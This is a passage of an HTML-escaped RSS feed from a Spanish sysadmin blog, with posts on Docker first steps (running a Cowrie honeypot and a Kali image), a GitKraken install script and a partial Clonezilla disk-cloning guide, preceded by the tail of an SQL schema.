&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">INDEX&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">downloads_index&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">ON&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">downloads&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">session&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">timestamp&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="k">CREATE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">TABLE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">IF&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">EXISTS&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">keyfingerprints&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">INTEGER&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">PRIMARY&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">KEY&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="k">session&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">CHAR&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">username&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">100&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="n">fingerprint&lt;/span>&lt;span class="o">`&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nb">varchar&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">100&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NOT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">NULL&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Primeros pasos Docker</title><link>https://www.procamora.com/p/primeros-pasos-docker/</link><pubDate>Fri, 26 Oct 2018 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/primeros-pasos-docker/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Primeros pasos Docker" />&lt;p>Primeros pasos en la instalación y uso de docker&lt;/p>
&lt;h1 id="instalación-y-configuración">Instalación y configuración&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">dnf install docker-ce
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">usermod -aG docker procamora
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">newgrp docker &lt;span class="c1"># Esto permite “refrescar” el grupo sin tener que reiniciar&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">systemctl &lt;span class="nb">enable&lt;/span> docker
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">systemctl start docker
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker run hello-world &lt;span class="c1"># Confirmar que esta bien instalado&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="buscamos-la-imagen-que-necesitemos">Buscamos la imagen que necesitemos&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker search cowrie
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="nos-descargamos-las-imágenes-que-necesitemos">Nos descargamos las imágenes que necesitemos&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker pull ouspg/cowrie
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker pull kalilinux/kali-linux-docker
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="mostrar-las-imágenes-disponibles">Mostrar las imágenes disponibles&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker images
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="crear-el-contenedor-solo-ejecutar-la-primera-vez">Crear el contenedor (Solo ejecutar la primera vez)&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker run &lt;span class="o">[&lt;/span>IMAGE&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker run hello-world
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker run -it -p 2222:2222 -p 2223:2223 cowrie/cowrie
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker run -it -p 8081:80 httpd &lt;span class="c1"># Host anfitrión 8081 , Docker 80&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker run -it --name&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;webserver&amp;#34;&lt;/span> -p 8081:80 httpd &lt;span class="c1"># Asignamos un nombre&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker run -it kalilinux/kali-linux-docker /bin/bash &lt;span class="c1"># También te abre una consola al SO&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker run -dit -p 2222:2222 -p 2223:2223 -v &lt;span class="k">$(&lt;/span>&lt;span class="nb">pwd&lt;/span>&lt;span class="k">)&lt;/span>/dl:/home/cowrie/cowrie/dl -v &lt;span class="k">$(&lt;/span>&lt;span class="nb">pwd&lt;/span>&lt;span class="k">)&lt;/span>/log:/home/cowrie/cowrie/log ouspg/cowrie &lt;span class="c1"># -d lo lanza como demonio -v para montar los volumenes entre la maquina fisica y el contenedor&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="iniciar-un-contenedor-previamente-creado">Iniciar un contenedor previamente creado&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker ps -a &lt;span class="c1"># Vemos los contenedores creados&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker start &lt;span class="o">[&lt;/span>CONTAINER_ID&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker start e7d1b0de6fe9
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="entrar-en-un-contenedor-en-ejecución">Entrar en un contenedor en ejecución:&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker ps -a
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker &lt;span class="nb">exec&lt;/span> -it &lt;span class="o">[&lt;/span>CONTAINER_ID&lt;span class="o">]&lt;/span> bash
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker &lt;span class="nb">exec&lt;/span> -it e7d1b0de6fe9 bash
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="borrar-un-contenedor-creado">Borrar un contenedor creado&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker ps -a &lt;span class="c1"># Vemos los contenedores creados&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker rm &lt;span class="o">[&lt;/span>CONTAINER_ID&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker rm e7d1b0de6fe9
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="borrar-una-imagen-descargada">Borrar una imagen descargada&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker images
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker rmi &lt;span class="o">[&lt;/span>IMAGE&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">docker rmi httpd
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="modificar-etiqueta">Modificar etiqueta&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker tag httpd a/b:latest
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="guardar-una-imagen">Guardar una imagen&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker commit &lt;span class="o">[&lt;/span>CONTAINER_ID&lt;span class="o">]&lt;/span> httpd_mod
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="ver-la-ip-de-un-contenedor">Ver la IP de un contenedor&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker inspect -f &lt;span class="s1">&amp;#39;{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}&amp;#39;&lt;/span> &lt;span class="o">[&lt;/span>CONTAINER_ID&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="login-cowrie">login cowrie&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">docker run -dit -p 2222:2222 -p 2223:2223 -v &lt;span class="k">$(&lt;/span>&lt;span class="nb">pwd&lt;/span>&lt;span class="k">)&lt;/span>/dl:/home/cowrie/cowrie/dl -v &lt;span class="k">$(&lt;/span>&lt;span class="nb">pwd&lt;/span>&lt;span class="k">)&lt;/span>/log:/home/cowrie/cowrie/log ouspg/cowrie
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ssh root@172.17.0.2 -p &lt;span class="m">2222&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Instalar GitKraken</title><link>https://www.procamora.com/p/instalar-gitkraken/</link><pubDate>Fri, 14 Sep 2018 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/instalar-gitkraken/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Instalar GitKraken" />&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;span class="lnt">42
&lt;/span>&lt;span class="lnt">43
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Download GitKraken&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget https://release.gitkraken.com/linux/gitkraken-amd64.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># copy the downloaded file into /opt directory&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cp gitkraken-amd64.tar.gz /opt/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> /opt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Extract the Kraken into /opt directory&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvzf gitkraken-amd64.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># you can apply ownership for a specific user too&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># chown -R user:group /opt/gitkraken&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Add gitkraken to PATH&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">echo&lt;/span> &lt;span class="s2">&amp;#34;export PATH=\$PATH:/opt/gitkraken&amp;#34;&lt;/span> &amp;gt;&amp;gt; ~/.bashrc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">source&lt;/span> ~/.bashrc
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># sudo ln -s /usr/lib64/libcurl.so.4 /opt/gitkraken/libcurl-gnutls.so.4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo ln -s /usr/lib64/libcurl.so.4 /usr/lib64/libcurl-gnutls.so.4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Create gitkraken launcher icon&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># download icon here: http://img.informer.com/icons_mac/png/128/422/422255.png&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># or here: https://drive.google.com/file/d/0B-3KQ_ohu-RFVkJyS1Zfa2NLSVE/view&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget http://img.informer.com/icons_mac/png/128/422/422255.png -o gitkraken-icon.png
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv gitkraken-icon.png /opt/gitkraken/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> /usr/share/applications
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cat &amp;gt; gitkraken.desktop &lt;span class="s">&amp;lt;&amp;lt;EOL
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">[Desktop Entry]
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">Name=GitKraken
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">Comment=Git Flow
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">Exec=/opt/gitkraken/gitkraken
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">Icon=/opt/gitkraken/gitkraken-icon.png
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">Terminal=false
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">Type=Application
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">Encoding=UTF-8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">Categories=Utility;Development;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">EOL&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuente: &lt;a class="link" href="https://gist.github.com/aelkz/17528d2f6a5db73185c7dfbd28e49d18" target="_blank" rel="noopener"
>github&lt;/a>&lt;/p></description></item><item><title>Clonar disco con Clonezilla</title><link>https://www.procamora.com/p/clonar-disco-con-clonezilla/</link><pubDate>Fri, 16 Feb 2018 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/clonar-disco-con-clonezilla/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Clonar disco con Clonezilla" />&lt;h1 id="introducción">Introducción:&lt;/h1>
&lt;ul>
&lt;li>&lt;a class="link" href="#header0" >Configuración Inicial&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#header1" >Clonación del Disco&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>En este ejemplo queremos hacer una copia del disco &lt;strong>sda&lt;/strong> en el directorio raíz del disco &lt;strong>sdb&lt;/strong>.&lt;/p>
&lt;h1 id="header0">Configuración Inicial&lt;/h1>
&lt;p>Lo primero es seleccionar el idioma y el teclado, una vez hecho eso podemos iniciar Clonezilla de modo gráfico o en modo consola para introducir el comando a ejecutar directamente. En este caso lo haremos de forma gráfica con &lt;strong>Start_Clonezilla&lt;/strong>.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/1_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>En la mayoría de las ocasiones usaremos la opción &lt;strong>device-image&lt;/strong>, ya que queremos crear una copia del disco físico en un directorio de otro disco&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/2_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Seleccionamos el modo de conectarnos con el disco en el que guardaremos la copia, en nuestro caso sera &lt;strong>local_dev&lt;/strong> que es un disco local.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/4_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Ahora tenemos que conectar el disco al equipo en caso de que no estuviese conectado, pulsamos &lt;strong>Enter&lt;/strong> para que escanee los discos disponibles.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/5_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Aquí veremos los discos que hay disponibles, tenemos:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>sda&lt;/strong>: disco del que queremos hacer una clonación&lt;/li>
&lt;li>&lt;strong>sdb&lt;/strong>: disco donde guardaremos el disco sda&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/6_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Aquí vemos todas las particiones disponibles, tenemos que seleccionar el disco donde queremos que se guarde la copia, ya que se va a montar para poder acceder a los directorios, en este caso &lt;strong>sdb1&lt;/strong>.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/7_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Seleccionamos el directorio donde queremos que se guarde la copia, en este caso la raíz y le damos a &lt;strong>Done&lt;/strong>.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/8_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Nos pedirá que le demos a &lt;strong>Enter&lt;/strong> para confirmar.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/9_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;h1 id="header1">Clonación del Disco&lt;/h1>
&lt;p>Aqui podemos seleccionar el modo en el que deseamos continuar, yo usare &lt;strong>Beginner&lt;/strong> que es mas que suficiente para hacer clonaciones de disco&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/10_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
&lt;p>Seleccionamos &lt;strong>savedisk&lt;/strong> ya que lo que deseamos hacer es clonar el disco no una particion.&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2018/ClonezillaClonar/11_ClonezillaClonar.png"
loading="lazy"
alt="1"
>&lt;/p>
